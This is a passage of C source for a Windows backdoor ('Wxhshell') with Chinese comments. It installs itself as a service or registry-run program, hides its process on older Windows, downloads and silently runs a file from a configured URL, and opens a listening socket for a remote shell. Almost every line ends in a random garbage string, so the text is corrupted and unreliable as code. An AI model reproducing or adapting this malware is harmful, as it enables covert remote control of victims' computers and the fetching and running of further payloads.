PROCNTQSIP NtQueryInformationProcess; ;.Y-e
Q,
@wcrtf~{)&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u{LtyDnik
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iaHL&)[YK
] ]XXcQ,A
HANDLE hProcess; W:JR\KKU
PROCESS_BASIC_INFORMATION pbi; o'K= X E
([dJ'OPx$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sQBKzvFO3
if(NULL == hInst ) return 0; ;$'D13
aY0{v X
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6o&ZS @
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U3~rtc*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y
'Ah*h
A$70!5*
if (!NtQueryInformationProcess) return 0; bMB*9<c~
@]7s`?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $g_|U:,
if(!hProcess) return 0; .S*VYt%K7
<FfmDR
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &[P(}??Y\
}U|0F#0$
CloseHandle(hProcess); & tjL*/
7ygz52
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vp&"[rC_z
if(hProcess==NULL) return 0; M}]4tAyT
N"s"^}M\
HMODULE hMod; Jw0I$W/
char procName[255]; Zmm6&OZ%
unsigned long cbNeeded; S/dj])g
@cc}[Uw4B
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lJdrrR)wg
ai"N;1/1O|
CloseHandle(hProcess); 8Y [4JXUK
v^aI+p6
if(strstr(procName,"services")) return 1; // 以服务启动 9XmbHS[0V
'&/~Sh$%
return 0; // 注册表启动 YRQ?:a{H
} z}F^HQ1
2TgS
)
// 主模块 uAu'2M,_
int StartWxhshell(LPSTR lpCmdLine) 9r>iP L2H
{ 9SXpZ*Sx
SOCKET wsl; 8ib e#jlg
BOOL val=TRUE; |?
rO
int port=0; g%okYH?
struct sockaddr_in door; P q1 j
Ml6}47n
if(wscfg.ws_autoins) Install(); 'EC0|IT)c
a fLE9
port=atoi(lpCmdLine); e!vWGnY
1d OB|
if(port<=0) port=wscfg.ws_port; V/tl-;W
ki|OowP
WSADATA data; vI]V@il
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =R*IOJ
p-*{x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =^z*p9ZB
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *onVG5<
door.sin_family = AF_INET; ]e$n ;tuW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9<.8mW^68
door.sin_port = htons(port); x"A\Z-xxz
=
u&dU'@q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f9t+x+ Z
closesocket(wsl); I#;.;%u
return 1; 3gYtu-1
} <?h(Dchq
! LCy:>i!d
if(listen(wsl,2) == INVALID_SOCKET) { 'p)DJUwt
closesocket(wsl); ~5>TMIDiuR
return 1; f|Nkk*9$
} >M^:x-mib
Wxhshell(wsl); >sQf{uL
WSACleanup(); q#K0EAgC
iD/+#UTY
return 0; |h6,.#n
vhzz(UPUt
} h+}{FB 29
=&PO_t5)z
// 以NT服务方式启动 hqV_MeHv'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W6):IW(E
{ rNICK2Ah
DWORD status = 0; 1Se2@WR'
DWORD specificError = 0xfffffff; (:R5"|]@<x
Pm QeO*f+
serviceStatus.dwServiceType = SERVICE_WIN32; 5sSAH
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _o&NbDH
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lT~WP)
serviceStatus.dwWin32ExitCode = 0; k"E|E";B
serviceStatus.dwServiceSpecificExitCode = 0; 8mt#S
serviceStatus.dwCheckPoint = 0; %S^:5#9
serviceStatus.dwWaitHint = 0; AC!yc(^<
nI] zRduC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S5r.so
if (hServiceStatusHandle==0) return; uQKo2B0
QcX&q%*0
status = GetLastError(); X9?0`6Li
if (status!=NO_ERROR) }GHCu
{ ?5F;4oR2g
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Kq/V_
serviceStatus.dwCheckPoint = 0; ru|*xNXKgC
serviceStatus.dwWaitHint = 0; h-x~:$Z,
serviceStatus.dwWin32ExitCode = status; x4,[5N"}YK
serviceStatus.dwServiceSpecificExitCode = specificError; g ;XK3R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GyVuQ51
return; g?*D)WU
} TP/bX&bjCy
nRT]oAi
serviceStatus.dwCurrentState = SERVICE_RUNNING; ])q,mH
serviceStatus.dwCheckPoint = 0; ^1<i7u
serviceStatus.dwWaitHint = 0; &Lbwx&!0b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?!.J0q
} bdEIvf7
lq a~ZF*
// 处理NT服务事件,比如:启动、停止
bDD29
VOID WINAPI NTServiceHandler(DWORD fdwControl) E33WT{H&_'
{ uo(LZUjPbN
switch(fdwControl) 6$l?D^{
{ 24wr=5p]Q
case SERVICE_CONTROL_STOP: K[x=knFO
serviceStatus.dwWin32ExitCode = 0; "p+JME(
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]f}(iD
serviceStatus.dwCheckPoint = 0; X~/-,oV=A
serviceStatus.dwWaitHint = 0; qyh]v [
{ #o,FVYYj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \f=kQbM
} =5:S"WNj
return; f8G<5_!K_
case SERVICE_CONTROL_PAUSE: -9Ygn_M
serviceStatus.dwCurrentState = SERVICE_PAUSED; aj=-^iGG
break; BkY#wJ'
case SERVICE_CONTROL_CONTINUE: ab#z&jg!
serviceStatus.dwCurrentState = SERVICE_RUNNING; BB_(!omq[
break; OX?E3 <8`
case SERVICE_CONTROL_INTERROGATE: C0/G1\
break; ='@k>Ka+
}; rq1zvuUx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oFT1d
} DyA1zwp}
wWSE[S$V
// 标准应用程序主函数 G[u{! 2RS
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) : %uaaFl
{ d[nz0LI|mk
U* uMMb}$
// 获取操作系统版本 1&vR7z]*
OsIsNt=GetOsVer(); `wr*@/P
GetModuleFileName(NULL,ExeFile,MAX_PATH); J|@D @\?7
3o"l
sly
// 从命令行安装 +}Mm5^6*
if(strpbrk(lpCmdLine,"iI")) Install(); *SpE
XO
7xR:\FBa^
// 下载执行文件 ` k(Q:
if(wscfg.ws_downexe) { G:`So
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =@q,/FR-
WinExec(wscfg.ws_filenam,SW_HIDE); O@w_"TJP/z
} PWquu`
u9u'5xAO
if(!OsIsNt) { ] mK{E~Zll
// 如果时win9x,隐藏进程并且设置为注册表启动 \Co
Z+
HideProc(); i6y=3k
StartWxhshell(lpCmdLine); e@S\7Ks
} q8,,[R_
else J)|I/8!#
if(StartFromService()) t:v>W8N53
// 以服务方式启动 2izBB,# "
StartServiceCtrlDispatcher(DispatchTable); M@p<L
VP
else ?6L8#"=
// 普通方式启动 9e}%2,
StartWxhshell(lpCmdLine); ! |z!e>0
`LKf$cx(A
return 0; ;%cW[*Dw
}